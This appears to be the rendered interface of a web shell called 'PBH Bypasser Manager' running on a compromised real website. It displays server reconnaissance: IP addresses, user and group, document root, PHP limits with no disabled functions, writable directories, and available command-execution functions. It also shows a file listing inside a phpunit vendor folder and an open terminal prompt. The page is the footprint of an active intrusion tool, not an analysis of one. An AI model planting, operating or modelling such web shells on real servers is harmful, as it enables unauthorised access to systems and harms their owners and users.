🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-13 10:19:23
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
10.0.xsd 15.25 KB 0775 2024-10-08 15:36:51 psim
10.1.xsd 16.67 KB 0775 2024-10-08 15:36:51 psim
10.2.xsd 17.33 KB 0775 2024-10-08 15:36:51 psim
10.3.xsd 17.51 KB 0775 2024-10-08 15:36:51 psim
10.4.xsd 17.57 KB 0775 2024-10-08 15:36:51 psim
8.5.xsd 16.71 KB 0775 2024-10-08 15:36:51 psim
9.0.xsd 16.55 KB 0775 2024-10-08 15:36:51 psim
9.1.xsd 16.71 KB 0775 2024-10-08 15:36:51 psim
9.2.xsd 16.71 KB 0775 2024-10-08 15:36:51 psim
9.3.xsd 17.43 KB 0775 2024-10-08 15:36:51 psim
9.4.xsd 17.51 KB 0775 2024-10-08 15:36:51 psim
9.5.xsd 17.57 KB 0775 2024-10-08 15:36:51 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/vendor/phpunit/phpunit/schema)